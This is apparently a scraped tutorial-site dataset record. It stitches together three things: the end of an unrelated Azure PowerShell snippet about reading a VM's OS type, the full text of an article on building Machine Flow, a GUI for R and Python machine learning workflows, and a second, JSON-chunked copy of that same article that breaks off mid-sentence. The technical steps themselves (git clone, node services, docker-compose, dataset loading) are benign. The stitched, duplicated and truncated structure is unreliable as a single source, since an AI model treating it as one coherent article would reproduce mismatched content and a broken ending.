[ { "code": null, "e": 1143, "s": 1062, "text": "To retrieve the OS details of the Azure VM, we need to use the Get-AzVM command." }, { "code": null, "e": 1176, "s": 1143, "text": "Get-AzVM -VMName TestMachine2k16" }, { "code": null, "e": 1360, "s": 1176, "text": "When you run the above command, it retrieves the VM TestMachine2k16 information and there is an OSType property which shows that if the VM’s OS is Linux or Windows, or any other type." }, { "code": null, "e": 1427, "s": 1360, "text": "But when you select the OSType, you won’t get anything. See below." }, { "code": null, "e": 1499, "s": 1427, "text": "PS C:\\> Get-AzVM -VMName TestMachine2k16 | Select OStype\n\nOStype\n------" }, { "code": null, "e": 1704, "s": 1499, "text": "Because this property is a part of another property and hence can’t be accessed directly. When you expose the full properties of the VM, you will get the StorageProfile, which contains the OS information." }, { "code": null, "e": 1770, "s": 1704, "text": "PS C:\\> $vm = Get-AzVM -VMName TestMachine2k16\nPS C:\\> $vm | fl *" }, { "code": null, "e": 1793, "s": 1770, "text": "Use the below command," }, { "code": null, "e": 2008, "s": 1793, "text": "PS C:\\> $vm.StorageProfile.ImageReference\n\nPublisher : MicrosoftWindowsServer\nOffer : WindowsServer\nSku : 2016-Datacenter\nVersion : latest\nExactVersion : 14393.4225.2102030345\nId :" }, { "code": null, "e": 2064, "s": 2008, "text": "So here we got both the Server Edition and the version." }, { "code": null, "e": 2212, "s": 2064, "text": "PS C:\\> $osver = $vm.StorageProfile.ImageReference.Offer + \" $($vm.StorageProfile.ImageReference.Sku)\"\nPS C:\\> $osver\nWindowsServer 2016-Datacenter" } ]
GUI-fying the Machine Learning Workflow: Towards Rapid Discovery of Viable Pipelines | by Sean McClure | Towards Data Science
A tenet of software development is to automate as much as possible. This is the DevOps mindset, where an effort towards automation helps teams push features continuously while ensuring best-practices are respected. When teams make automation a priority their developers focus on the least amount of code needed to bring new features to a product. This has 3 major benefits to real-world software projects: less human error in the codebase; faster development; more variation. While the first 2 points are obvious, the last one is less appreciated. Variation increases with automation because it’s easier to try things when there is less code to write. Variation is a critical ingredient in the early stages of product discovery. By attempting more options we reduce our reliance on upfront assumptions, and instead explore the space of possible outcomes. Traditional software (no machine learning) is full of options. Whether it’s adding a button, creating a login screen, or connecting alerts, traditional software has a vast array of options from which to choose. If it can be expressed in computer code it can be done. But machine learning products have no such guarantees. With machine learning, product features are not options they are possibilities. Only when we have confirmed the right data exist can we call a possibility an option. This has implications for product discovery. Product discovery assumes options are a given; the challenge being to discover which of those options will lead to the best product. But in machine learning we cannot start that process until we have exposed which options are available, given the data. With machine learning, product features are only possible if the data permit them. Whereas traditional software begins the discovery process during “product discovery”, machine learning applications rely on discovery before this process. This means the variation aspect of automation, which promotes discovery, must happen before development commences. In other words, automation must occur in the machine learning workflow. Data Scientists explore data and validate models by working through the Machine Learning Workflow, shown below: This is an iterative process, involving gathering available data, cleaning/preparing those data, building models, validating their predictions and deploying results. This leads to the kind of discoveries needed to make strategic decisions about what goes in the Data Pipeline. The Data Pipeline is the above workflow laid out “flat”, and is responsible for putting into production the best parts discovered while iterating through the above workflow: Whereas Data Pipelines benefit from the kind of automation seen in traditional software (testing, continuous integration, building, continuous deployment) the Machine Learning Workflow requires a different kind of automation. The seemingly obvious answer to the titled question is some library that attempts many different models and automatically validates which one leads to the highest accuracy. These libraries exist, such as Google’s AutoML, auto-sklearn, tpot, MLBox, and many others. While these efforts help reduce the time it takes to find decent models they assume product-worthy models can be obtained with minimal human intervention. This drastically oversimplifies the process of converting raw data into a truly viable machine learning product. Machine learning practitioners turn multiple knobs (hyper-parameters) to help nudge learning algorithms towards a better result. The reason our best Data Scientists call this process an art is because knowing what knobs to turn, and by how much, cannot be codified. It involves experience, conversation with domain experts, and above-all trial and error. The space of possible outcomes emerges from a complex interaction of data attributes, models and parameters. Truly automated machine learning would have to do much more than turn knobs until some good accuracy was achieved. It would have to vary the amount of data, attempt various datasets, try multiple data preparations, engineer new features, run the gammit of validation metrics and deploy results in varying contexts; not to mention folding domain-specific knowledge into each of these steps. This represents a kind of “combinatorial explosion” Data Scientists must reign-in when looking to build viable machine learning products. The right mix of tasks to effectively convert raw data to product-worthy outputs exists in a space of near-infinite possibilities. The mark of a seasoned Data Scientist is their ability to reign-in this complexity by narrowing down the possible combinations. Through exploration and reasoning, Data Scientists pair statistical techniques with experience to carve out a path from myriad possibilities to a few viable options. To truly automate the Machine Learning Workflow we need more than automated knob turning. We require the ability to execute a variety of common machine learning tasks, while still permitting human intervention, to explore and reason about what data tells us. I argue this automation is only possible by GUI-fying the Machine Learning Workflow. To GUI-fy something is to expose functionality through a graphical user interface. When practitioners execute common tasks at the touch of a button it enables them to rapidly attempt many options, leading to the massive variation needed to discover viable pipelines. This offers a more complete idea of DevOps for Data Science. While traditional testing and building practices are needed for our pipelines we also require automation at the workflow stage, so product discovery can start from a set of viable machine learning options. GUI-fying the Machine Learning Workflow may seem too challenging. After all, things seem to change every time we point a new dataset at a machine learning task. But understanding the scenarios when things go wrong is precisely how we work towards automation. I argue that automation is the responsibility of the seasoned practitioner. As the ultimate abstraction, automation ensures our work focuses solely on what is novel to the challenge. When we can rapidly explore the space of possibilities, we promote a much stronger ROI on data-intensive projects. Automation is the responsibility of the seasoned practitioner. With time, GUI-fication leads to a robust set of machine learning capabilities across each step of the Machine Learning Workflow. Eventually, such capabilities can be exposed as a service, whose purpose is to enable teams to rapidly assess the state of an organization’s/client’s data during the early stages of ideation. As teams continue to work on projects, they add to these services, exposing more machine learning functionality, and enabling quicker discovery of the options that exist when looking to build machine learning products. It’s important to note that GUI-fication is not meant to replace hands-on coding. There is no substitute for digging into code when we must refine our process for extracting value from data. But coding should never be our first take on a dataset. To do so is a failure in abstraction, a failure to automate, and does not represent a Lean approach to building machine learning products. We should only touch code when we haven’t encountered the problem before. We should only touch code when we haven’t encountered the problem before. There are 2 parts to GUI-fying the Machine Learning Workflow. On the back-end we need to expose machine learning functionality as a REST service, so common tasks can be called using a front-end. On the front-end we need to easily visualize and manage the flow of data across tasks we choose to run. I will list important requirements, followed by a discussion on each point: expose both R and Python functionality; allow code changes without restarting the service; allow for proper code organization and version control; intermittent data should be accessible by both R and Python; utilize native R and Python visualizations; R and Python should be separate services; automatically track and manage data dependencies; wait until back-end has completed processing before showing results on front-end. Exposing both R and Python functionality: I believe it’s important to support both R and Python. This is because variation is key as discussed in the beginning of this article. When we abstract away from the language all that matters is capability, allowing the full breadth and depth of machine learning to be brought to bear on our challenges. Allow code changes without restarting the service: Data Science relies on REPL-type environments that show results the moment we change our code. If our service is contained within, say, a Docker runtime we would have to rebuild/run the image to surface new changes. Another option is Jupyter notebooks, which support REPL-style coding, and can be exposed as REST services using the Jupyter Kernel Gateway. But again, code changes are not exposed without restarting the gateway. Child Processes in Node.js allow us to call both R and Python functions via Node.js. When combined with the web framework Express it becomes possible to create a REST API that exposes R and Python functionality to a front-end. As a bonus, this type of service does not require a restart to expose changes within child processes. Allow for proper code organization and version control: Notebooks also have drawbacks when it comes to organizing code and doing proper version control. A notebook is not organized code, and versioning between notebooks only versions the JSON representation of our work. This is not amemable to real-world software development. Our service should allow R and Python scripts to exist as proper files, that can be organized and versioned like any other application. Intermittent data should be accessible by both R and Python: The service should also allow both R and Python to access intermittent data along any stage of the workflow. For example, users should be able to prepare data in R and build models in Python, seamlessly moving between each language. A great option for this is JSON. JSON is easily read and written by both R and Python. JSON also stores nested data easily. This works well for machine learning since we often save multiple datasets in one call, such as splitting data into training and test sets: [{ "X_train": [{ "feature_a": 100, "feature_b": 150, "feature_c": 40 }], "X_test": [{ "feature_a": 200, "feature_b": 250, "feature_c": 140 }], "y_train": [{ "feature_d": 170 }], "y_test": [{ "feature_d": 270 }]}] Utilize native R and Python visualizations: Most front-end applications choose interactive, JS-based visualizations. While there are benefits to interactive charts they lack the variety of native R and Python charting. For example, we can create the following influence plot in R using 1 line of code: How much custom JavaScript would be needed to reproduce this? Native visuals are how Data Scientists explore and validate their work; we shouldn’t get in the way of that. R and Python should be separate services: The GUI-service should use a micro-services architecture so that R and Python remain separate concerns. Merely wrapping a service around scripts that call both R and Python would be a poor design choice. Of course this will have to be balanced with the need to expose code-changes immediately, as per the above point around Docker runtimes. Automatically track and manage data dependencies: Every task executed will depend on some previous dataset, either raw or transformed. The GUI needs to automatically track and manage dependencies between datasets to preserve workflows. This can be accomplished by having the front-end manage read and write paths across nodes, as shown in the following figure: For example, running a chosen function on a node would initiate the following steps: Wait until back-end has completed processing before showing results on front-end: Since the workflow will involve running compute-intensive tasks, the front-end must wait for back-end processing to finish before trying to display results. As long as we are calling REST endpoints this is fairly straightforward. For example, the Promise interface in jQuery’s $.ajax method ensures we can hold off executing additional JavaScript until the request has finished. I created Machine Flow to make manifest the philosophy discussed in this article. Machine Flow encompasses the above technical requirements, and allows Data Scientists and Data Teams to work towards GUI-fying their workflows. Machine Flow enables visual execution and tracking of machine learning workflows. Users dynamically create dependency graphs, with each node responsible for executing a task and displaying results. Machine Flow provides both Develop Mode and Service Mode. Develop Mode is used to actively add new R and/or Python code to our service. Any additions/changes to R or Python are exposed immediately by their respective REST endpoints, allowing Data Scientists to quickly build their GUI-service. Service Mode is used when there is a significant amount of machine learning capability already added to a Data Scientist’s GUI-service. In this scenario, there is less need to move back-and-forth between the back-end and front-end. The idea behind Service Mode is to provide a containerized runtime, that team members use to build machine learning workflows without having to write code. We will start with Develop Mode since this gets us up-and-running, and is how most Data Scientists would use Machine Flow. You can review the README by exploring the project on GitHub. The easiest way to download Machine Flow is to open terminal and run the following command: git clone https://github.com/WorldofDataScience/machine_flow.git This will bring Machine Flow into your directory. Type ls to view the contents: machine_flow├── README.md├── app├── data├── docker-compose.yml├── python_ml├── r_ml The 4 subdirectories are most important: app contains the front-end application; data holds datasets and log files; python_ml holds our python scripts; r_ml holds our R scripts. First, let’s run Machine Flow’s front-end. We can start a simple Python web server running the following command in terminal: python3 -m http.server We are now serving HTTP on port 8000. Open your browser to the following link: http://localhost:8000/app/machine_flow.html You should see the Machine Flow application with a blank workflow. Our front-end runs R and Python code by sending functions to our back-end via REST endpoints. As such, we need to start our R and Python services in the back-end. Open 2 new tabs in terminal. In the first new tab, change into the r_ml directory and run the following command to start the R service: node connect.js In the other new tab, change into the python_ml directory and run the same command to start the Python service: node connect.js Each tab should show its respective service ready to serve: > R Machine Learning on port: 9191 > Python Machine Learning on port: 8181 Any dataset we work with must be added to the data folder. You can add this any way you want; the only real requirement is all data are in JSON format. Let’s add the Boston Housing Dataset from GitHub: https://raw.githubusercontent.com/selva86/datasets/master/BostonHousing.csv Open a new tab in terminal (make sure you’re in the machine_flow directory) and start an R session by typing R + enter. We add data to our data folder, in JSON format, by running the following: library(jsonlite)df <- read.csv('https://url_to_boston_data.csv')df_json <- toJSON(df)write(df_json, file='data/boston.json') We can use the same approach in Python, by starting a Python session and running the following: import pandas as pdimport jsondf = pd.read_csv('https://url_to_boston_data.csv')with open('data/boston.json', 'w') as f: f.write(df.to_json(orient='records')) In either case, the JSON output has the following format, where each observation is contained in its own object: [{ "feature_a" : "100", "feature_b" : "150", "feature_c" : "40" }, { "feature_a" : "720", "feature_b" : "14", "feature_c" : "431" },....}] For our front-end to do anything useful with our data we must add R and/or Python functions to the back-end. Before writing our first back-end function we need review a few requirements to make back-end functions work with Machine Flow. Every back-end function must have its first 2 arguments as read_path and write_path. These are used by the function to read the correct dataset and write the result to the correct path. These paths are managed automatically by Machine Flow, so we only have to ensure we use them in our back-end function. As we can see in the above figure, any additional arguments needed for our function come after read_path and write_path. We also ensure every function ends with a return(‘done’) statement.This tells the node layer that R/Python has finished executing its function. Adding our First Back-End Function The first back-end function that must be supplied is the list_data function. Machine Flow requires we name this function list_data. All other functions can be named whatever you like. We can of course use either R or Python to write our list_data function. I will use R as follows: list_data <- function(read_path, write_path) { res <- toJSON(list.files(read_path, pattern = ".json")) write(res, file=write_path) return('done') } This uses R’s native list.files function to list all files in the path provided. Notice I added the read_path and write_path as arguments, and used them as needed inside my function. Where do we put this function? We add our back-end functions to the appropriate script inside the r_ml and python_ml directories of Machine Flow. machine_flowr_ml├── R_Scripts └── data_gathering.R └── data_preparation.R └── model_building.R └── model_validation.R It makes more sense to open an IDE at this point, rather than just terminal, since we will be managing multiple scripts. I use PyCharm; you can use whatever suits you best. Since we wrote our list_data function in R we add it to our R_Scripts. Navigate to R_Scripts inside the r_ml directory and open its contents. Open utility_functions.R. You will see Machine Flow comes with the list_data function already added, along with a few other functions. Since it’s already there we don’t need to add it. If you are listing files with Python instead you can add your list_data function to utility_functions.py in the python_ml directory. Since we have a back-end function in place, we can open the Machine Flow GUI and add this function under ENDPOINTS: Clicking on ENDPOINTS opens the FUNCTIONS overlay. This is where we tell the Machine Flow GUI what back-end functions are available from our machine learning service. We need to add our list_data function. The default endpoint is set to port 9191, which is the port for our R service so we won’t change that. We will add list_data as the function name, choose DATA as the expected output, and click ADD: We need to specify the expected output of any back-end function we want to expose to the Machine Flow GUI. This ensures Machine Flow knows what kind of result to show when running the function. Close the FUNCTIONS overlay and click on the first node of your workflow. Hit the enter key to add a new node. Any node in the first layer is a DATA NODE. These nodes start a new branch on our workflow. Clicking ADD DATA pops open the modal and presents a dropdown, listing any datasets we added to the data folder. We can see the boston dataset we added, as well as the iris dataset that comes with Machine Flow. Select boston.json from the list to show the dataset. This is how we load data into our GUI to begin a new branch. If we wanted to add another dataset we would click on the root node and hit enter, choosing a different dataset to work on. Any node added after the first layer is a TASK NODE. This is how we build out our workflow, by adding and running tasks that branch off a starter data node. Click on the boston node and hit enter, then click on ADD TASK. Any functions we add to ENDPOINTS will appear in this dropdown. Since we haven’t added any functions yet (list_data is not listed here) we can do that now. Machine Flow comes with a few functions in both R and Python to run through this tutorial. We can imagine these are endpoints either written by us or exposed by our Data Science team. The functions that comes with Machine Flow are the following: list_data (9191) (data) show_outliers (9191) (image) (feature) show_distribution (9191) (image) (feature) show_missing (8181) (image) normalize_data (9191) (data) remove_features (9191) (data) (features) split_data (8181) (data) (target_feature, split_percentage) run_linear_regression (8181) (data) actual_vs_predicted (8181) (image) show_mse (8181) (image) show_r_squared (8181) (image) The port is shown in the first parentheses. The expected output is shown in the second parentheses. If needed, parameters are shown in the 3rd parentheses. Let’s use these to experiment with the Boston dataset. Open ENDPOINTS and add each function with its expected output. Check to ensure the port number on the endpoint is correct per function: Some of these functions require parameters as well. We can add those by clicking on the parameters icon for the appropriate function: When we save our workflow later these endpoints, functions and parameters are saved so we won’t need to re-add them. Everything is in place to start building out workflows with our Boston dataset. Click on ADD TASK and check the dropdown. You should now see all the functions we added. Let’s start exploring the data. Choose show_outliers from the dropdown: When we choose a function we are presented with input fields for any features expected, as well as a function call, which is the back-end function that gets called. The first 2 arguments are the read_path and write_path that gets passed to our back-end function. These are set automatically by Machine Flow so we can leave those alone. As we type in the parameter it gets added dynamically to the function call. This particular function accepts an ALL argument to be passed as the feature parameter, which is useful when wanting to spot outliers. Type in ALL in the input field and click RUN: We can see the result is returned once the code on the back-end completes. As discussed in the requirements above, the visual produced is a native R visual. I also add a name to top of the modal and close it. Any time I click on this node the result of that task will show. There are a number of checks in place Machine Flow uses to ensure data dependencies are not violated: You cannot run a task unless the parent node already ran its task; You cannot change the dataset on a first layer node once its child node is created; If the previous node is an image, Machine Flow will search the path until the most recent dataset is found. NOTE: A branch contains all nodes that share the same first-layer node. A path contains all nodes that are immediately connected to each other. Let’s continue building the workflow. Since outliers are most extreme for features crim, zn and b I am going to remove these features from the dataset. Let’s choose the remove_features function. We can see in the back-end this function was written to accept a comma-separated string of feature names, used to remove features from the dataset: remove_features <- function(read_path, write_path, features) { res <- read_json(read_path) rem_vec <- unlist(strsplit(features, ', ')) res <- res[,!(names(res) %in% rem_vec)] res_json <- toJSON(res) write(res_json, file=write_path) return('done') } We thus know how to add arguments for this function call: We can see why we must provide expected outputs when we add endpoints. Whereas the first example produced an image this example shows the resultant dataset. I will now split the data, train a linear regression model, and show a plot of predicted versus actual values: I can spin-off multiple types of validation from this branch, since it points back to the data trained by the model. Since this is regression I will check both the r-squared value, and the mean-squared error: A major benefit of Machine Flow is the ability to rapidly attempt many options. For example, I started a new branch where instead of removing all features with outliers, I normalized the data, removed only the b feature, and chose a split percentage of 0.4. I then trained and validated a regression model like last time. I also created a new node halfway through the previous branch, after the data had been normalized and the b feature removed, then chose a different split percentage of 0.5. Finally I created yet another node off the original dataset and explored some of its distributions rather than outliers. This is what my workflow looks like: Bring able to add new nodes at any point along any branch is more in-line with how Data Science work progresses. Another great feature of Machine Flow is the ability to highlight the path leading to a final result. This can be useful when workflows become large and complex. For example, I’d likely want to quickly see which steps led to my best R-Squared value of 0.688. I can pop open the node containing that result and click on the show path icon: Machine Flow saves all work automatically in the browser. This means you can refresh, and even delete your cache, and your workflow will still be available. Of course we likely want to create more than one workflow, so clicking on the SAVE button will download a JSON file containing all nodes, endpoints, functions and parameters, as well as the read and write paths attached to each node. Loading a saved workflow is as simple as clicking on LOAD and uploading the JSON file. NOTE: You can share workflow files with other members on the team, as long as their GUI has access to the same data folder. As mentioned above, service mode is the goal we work towards; a containerized runtime that serves common machine learning tasks to an army of Data Scientists. This is a kind of “internal productization” where we create an application for use within our organization. We can imagine the data team actively adding new tasks to the service. The benefit of building custom GUI-services is the service is unique to the organization. No vendor tool is going to capture the nuanced modeling and validation that suits your organization’s product needs. Building an internal service that enables rapid assessment of new datasets, and viable pipelines, sets us up for fruitful product discovery. Machine Flow uses Docker volumes to persist data. As stated in the Docker documentation, volumes are the preferred mechanism for persisting data generated by and used by Docker containers. A great thing about volumes is they allow data to be communicated between the host machine and a Docker container in real-time. This is important since we should be able to add new datasets without restarting the service. Machine Flow uses Docker Compose to spin-up R and Python services in a single call. Docker Compose is a tool for defining and running multi-container Docker applications. If we look at docker-compose.yml inside Machine Flow we can see where the volumes are mounted. We need to set the path under volumes to our machine’s root directory: version: '3'services: r_ml: # builds R_ML Dockerfile build: ./r_ml ports: - "9191:9191" volumes: - /path_to_directory/data:/app/data python_ml: # builds Python_ML Dockerfile build: ./python_ml ports: - "8181:8181" volumes: - /path_to_directory/data:/app/data The complete path needed for mounting volumes is the path we see when typing pwd in console (when in the machine_flow directory). For example, on my local machine I add the following line before the :/app/data under volumes: volumes: -/Users/seanmcclure/PycharmProjects/machine_flow/data:/app/data Be sure to do this for both r_ml and python_ml sections of the yml file. Whereas Develop Mode can use libraries by simply importing them as needed, a containerized service must bring in these libraries in the Dockerfile. Adding libraries for the R service: FROM r-base# install R packagesRUN R -e "install.packages(c('dplyr', 'tidyr'), repos = 'http://cran.us.r-project.org', dependencies=TRUE)"# install nodeRUN apt-get updateRUN apt-get install -y nodejsRUN apt-get install -y npmADD . /app# install node dependenciesRUN cd /app; npm installWORKDIR /appEXPOSE 9191CMD node connect.js In this case, we simply list them within the RUN command. Above, I am installing dyplr and tidyr. Adding libraries for the Python service: FROM nikolaik/python-nodejs# install Python modulesRUN pip3 install -U numpyRUN pip3 install -U scipyRUN pip3 install -U scikit-learnADD . /appWORKDIR /appEXPOSE 8181CMD node connect.js For our Python service we install libraries using pip3 install. Note the -U flag for bypassing prompts. As we know, library installation doesn’t alway go as planned. Remember, Machine Flow has log files for both R and Python. To view log files inside the container simply “exec into” the container. For example, getting into the r_ml container we can run: sudo docker exec -i -t machine_flow_r_ml_1 /bin/bash ... and look at the r_log.log file for R and py_log.log for Python, inside the data directory: vi data/r_log.log In Service Mode we need to make changes to the paths Machine Flow uses. First, click on the gear icon at the top: And change the paths to these: Also, open connect.js in both r_ml and python_ml directories and change: fs.appendFileSync("../data/r_log.log", data) to fs.appendFileSync("data/r_log.log", data) We build the r_ml and python_ml images using docker-compose by running: docker-compose build We then run our containers by running: docker-compose up You should see the following to confirm the services are up-and-running: Attaching to machine_flow_r_ml_1, machine_flow_python_ml_1r_ml_1 | R Machine Learning on port: 9191python_ml_1 | Python Machine Learning on port: 8181 NOTE: If you are on the same machine as Develop Mode be sure to stop the node services running on ports 9191 and 8181 before running docker-compose up. Whether you want to start with Machine Flow or build your own GUI service, I think it’s important Data Science moves in this direction. GUI-fying the Machine Learning Workflow forms a complete DevOps responsibility by automating the required exploration that precedes product discovery. Machine learning does not have options, it has possibilities. By rapidly assessing the readiness of our data, and exposing viable paths from raw data to validated model, we set ourselves up for more success on machine learning projects. As always, if you run into issues please ask questions in the comments section. If you enjoyed this article, you might also enjoy:
[ { "code": null, "e": 578, "s": 172, "text": "A tenet of software development is to automate as much as possible. This is the DevOps mindset, where an effort towards automation helps teams push features continuously while ensuring best-practices are respected. When teams make automation a priority their developers focus on the least amount of code needed to bring new features to a product. This has 3 major benefits to real-world software projects:" }, { "code": null, "e": 612, "s": 578, "text": "less human error in the codebase;" }, { "code": null, "e": 632, "s": 612, "text": "faster development;" }, { "code": null, "e": 648, "s": 632, "text": "more variation." }, { "code": null, "e": 1027, "s": 648, "text": "While the first 2 points are obvious, the last one is less appreciated. Variation increases with automation because it’s easier to try things when there is less code to write. Variation is a critical ingredient in the early stages of product discovery. By attempting more options we reduce our reliance on upfront assumptions, and instead explore the space of possible outcomes." }, { "code": null, "e": 1294, "s": 1027, "text": "Traditional software (no machine learning) is full of options. Whether it’s adding a button, creating a login screen, or connecting alerts, traditional software has a vast array of options from which to choose. If it can be expressed in computer code it can be done." }, { "code": null, "e": 1515, "s": 1294, "text": "But machine learning products have no such guarantees. With machine learning, product features are not options they are possibilities. Only when we have confirmed the right data exist can we call a possibility an option." }, { "code": null, "e": 1813, "s": 1515, "text": "This has implications for product discovery. Product discovery assumes options are a given; the challenge being to discover which of those options will lead to the best product. But in machine learning we cannot start that process until we have exposed which options are available, given the data." }, { "code": null, "e": 1896, "s": 1813, "text": "With machine learning, product features are only possible if the data permit them." }, { "code": null, "e": 2238, "s": 1896, "text": "Whereas traditional software begins the discovery process during “product discovery”, machine learning applications rely on discovery before this process. This means the variation aspect of automation, which promotes discovery, must happen before development commences. In other words, automation must occur in the machine learning workflow." }, { "code": null, "e": 2350, "s": 2238, "text": "Data Scientists explore data and validate models by working through the Machine Learning Workflow, shown below:" }, { "code": null, "e": 2801, "s": 2350, "text": "This is an iterative process, involving gathering available data, cleaning/preparing those data, building models, validating their predictions and deploying results. This leads to the kind of discoveries needed to make strategic decisions about what goes in the Data Pipeline. The Data Pipeline is the above workflow laid out “flat”, and is responsible for putting into production the best parts discovered while iterating through the above workflow:" }, { "code": null, "e": 3027, "s": 2801, "text": "Whereas Data Pipelines benefit from the kind of automation seen in traditional software (testing, continuous integration, building, continuous deployment) the Machine Learning Workflow requires a different kind of automation." }, { "code": null, "e": 3560, "s": 3027, "text": "The seemingly obvious answer to the titled question is some library that attempts many different models and automatically validates which one leads to the highest accuracy. These libraries exist, such as Google’s AutoML, auto-sklearn, tpot, MLBox, and many others. While these efforts help reduce the time it takes to find decent models they assume product-worthy models can be obtained with minimal human intervention. This drastically oversimplifies the process of converting raw data into a truly viable machine learning product." }, { "code": null, "e": 3915, "s": 3560, "text": "Machine learning practitioners turn multiple knobs (hyper-parameters) to help nudge learning algorithms towards a better result. The reason our best Data Scientists call this process an art is because knowing what knobs to turn, and by how much, cannot be codified. It involves experience, conversation with domain experts, and above-all trial and error." }, { "code": null, "e": 4414, "s": 3915, "text": "The space of possible outcomes emerges from a complex interaction of data attributes, models and parameters. Truly automated machine learning would have to do much more than turn knobs until some good accuracy was achieved. It would have to vary the amount of data, attempt various datasets, try multiple data preparations, engineer new features, run the gammit of validation metrics and deploy results in varying contexts; not to mention folding domain-specific knowledge into each of these steps." }, { "code": null, "e": 4552, "s": 4414, "text": "This represents a kind of “combinatorial explosion” Data Scientists must reign-in when looking to build viable machine learning products." }, { "code": null, "e": 4683, "s": 4552, "text": "The right mix of tasks to effectively convert raw data to product-worthy outputs exists in a space of near-infinite possibilities." }, { "code": null, "e": 4977, "s": 4683, "text": "The mark of a seasoned Data Scientist is their ability to reign-in this complexity by narrowing down the possible combinations. Through exploration and reasoning, Data Scientists pair statistical techniques with experience to carve out a path from myriad possibilities to a few viable options." }, { "code": null, "e": 5236, "s": 4977, "text": "To truly automate the Machine Learning Workflow we need more than automated knob turning. We require the ability to execute a variety of common machine learning tasks, while still permitting human intervention, to explore and reason about what data tells us." }, { "code": null, "e": 5588, "s": 5236, "text": "I argue this automation is only possible by GUI-fying the Machine Learning Workflow. To GUI-fy something is to expose functionality through a graphical user interface. When practitioners execute common tasks at the touch of a button it enables them to rapidly attempt many options, leading to the massive variation needed to discover viable pipelines." }, { "code": null, "e": 5855, "s": 5588, "text": "This offers a more complete idea of DevOps for Data Science. While traditional testing and building practices are needed for our pipelines we also require automation at the workflow stage, so product discovery can start from a set of viable machine learning options." }, { "code": null, "e": 6412, "s": 5855, "text": "GUI-fying the Machine Learning Workflow may seem too challenging. After all, things seem to change every time we point a new dataset at a machine learning task. But understanding the scenarios when things go wrong is precisely how we work towards automation. I argue that automation is the responsibility of the seasoned practitioner. As the ultimate abstraction, automation ensures our work focuses solely on what is novel to the challenge. When we can rapidly explore the space of possibilities, we promote a much stronger ROI on data-intensive projects." }, { "code": null, "e": 6475, "s": 6412, "text": "Automation is the responsibility of the seasoned practitioner." }, { "code": null, "e": 6797, "s": 6475, "text": "With time, GUI-fication leads to a robust set of machine learning capabilities across each step of the Machine Learning Workflow. Eventually, such capabilities can be exposed as a service, whose purpose is to enable teams to rapidly assess the state of an organization’s/client’s data during the early stages of ideation." }, { "code": null, "e": 7016, "s": 6797, "text": "As teams continue to work on projects, they add to these services, exposing more machine learning functionality, and enabling quicker discovery of the options that exist when looking to build machine learning products." }, { "code": null, "e": 7476, "s": 7016, "text": "It’s important to note that GUI-fication is not meant to replace hands-on coding. There is no substitute for digging into code when we must refine our process for extracting value from data. But coding should never be our first take on a dataset. To do so is a failure in abstraction, a failure to automate, and does not represent a Lean approach to building machine learning products. We should only touch code when we haven’t encountered the problem before." }, { "code": null, "e": 7550, "s": 7476, "text": "We should only touch code when we haven’t encountered the problem before." }, { "code": null, "e": 7849, "s": 7550, "text": "There are 2 parts to GUI-fying the Machine Learning Workflow. On the back-end we need to expose machine learning functionality as a REST service, so common tasks can be called using a front-end. On the front-end we need to easily visualize and manage the flow of data across tasks we choose to run." }, { "code": null, "e": 7925, "s": 7849, "text": "I will list important requirements, followed by a discussion on each point:" }, { "code": null, "e": 7965, "s": 7925, "text": "expose both R and Python functionality;" }, { "code": null, "e": 8016, "s": 7965, "text": "allow code changes without restarting the service;" }, { "code": null, "e": 8072, "s": 8016, "text": "allow for proper code organization and version control;" }, { "code": null, "e": 8133, "s": 8072, "text": "intermittent data should be accessible by both R and Python;" }, { "code": null, "e": 8177, "s": 8133, "text": "utilize native R and Python visualizations;" }, { "code": null, "e": 8219, "s": 8177, "text": "R and Python should be separate services;" }, { "code": null, "e": 8269, "s": 8219, "text": "automatically track and manage data dependencies;" }, { "code": null, "e": 8351, "s": 8269, "text": "wait until back-end has completed processing before showing results on front-end." }, { "code": null, "e": 8697, "s": 8351, "text": "Exposing both R and Python functionality: I believe it’s important to support both R and Python. This is because variation is key as discussed in the beginning of this article. When we abstract away from the language all that matters is capability, allowing the full breadth and depth of machine learning to be brought to bear on our challenges." }, { "code": null, "e": 9176, "s": 8697, "text": "Allow code changes without restarting the service: Data Science relies on REPL-type environments that show results the moment we change our code. If our service is contained within, say, a Docker runtime we would have to rebuild/run the image to surface new changes. Another option is Jupyter notebooks, which support REPL-style coding, and can be exposed as REST services using the Jupyter Kernel Gateway. But again, code changes are not exposed without restarting the gateway." }, { "code": null, "e": 9505, "s": 9176, "text": "Child Processes in Node.js allow us to call both R and Python functions via Node.js. When combined with the web framework Express it becomes possible to create a REST API that exposes R and Python functionality to a front-end. As a bonus, this type of service does not require a restart to expose changes within child processes." }, { "code": null, "e": 9969, "s": 9505, "text": "Allow for proper code organization and version control: Notebooks also have drawbacks when it comes to organizing code and doing proper version control. A notebook is not organized code, and versioning between notebooks only versions the JSON representation of our work. This is not amemable to real-world software development. Our service should allow R and Python scripts to exist as proper files, that can be organized and versioned like any other application." }, { "code": null, "e": 10296, "s": 9969, "text": "Intermittent data should be accessible by both R and Python: The service should also allow both R and Python to access intermittent data along any stage of the workflow. For example, users should be able to prepare data in R and build models in Python, seamlessly moving between each language. A great option for this is JSON." }, { "code": null, "e": 10527, "s": 10296, "text": "JSON is easily read and written by both R and Python. JSON also stores nested data easily. This works well for machine learning since we often save multiple datasets in one call, such as splitting data into training and test sets:" }, { "code": null, "e": 10780, "s": 10527, "text": "[{ \"X_train\": [{ \"feature_a\": 100, \"feature_b\": 150, \"feature_c\": 40 }], \"X_test\": [{ \"feature_a\": 200, \"feature_b\": 250, \"feature_c\": 140 }], \"y_train\": [{ \"feature_d\": 170 }], \"y_test\": [{ \"feature_d\": 270 }]}]" }, { "code": null, "e": 11082, "s": 10780, "text": "Utilize native R and Python visualizations: Most front-end applications choose interactive, JS-based visualizations. While there are benefits to interactive charts they lack the variety of native R and Python charting. For example, we can create the following influence plot in R using 1 line of code:" }, { "code": null, "e": 11253, "s": 11082, "text": "How much custom JavaScript would be needed to reproduce this? Native visuals are how Data Scientists explore and validate their work; we shouldn’t get in the way of that." }, { "code": null, "e": 11636, "s": 11253, "text": "R and Python should be separate services: The GUI-service should use a micro-services architecture so that R and Python remain separate concerns. Merely wrapping a service around scripts that call both R and Python would be a poor design choice. Of course this will have to be balanced with the need to expose code-changes immediately, as per the above point around Docker runtimes." }, { "code": null, "e": 11997, "s": 11636, "text": "Automatically track and manage data dependencies: Every task executed will depend on some previous dataset, either raw or transformed. The GUI needs to automatically track and manage dependencies between datasets to preserve workflows. This can be accomplished by having the front-end manage read and write paths across nodes, as shown in the following figure:" }, { "code": null, "e": 12082, "s": 11997, "text": "For example, running a chosen function on a node would initiate the following 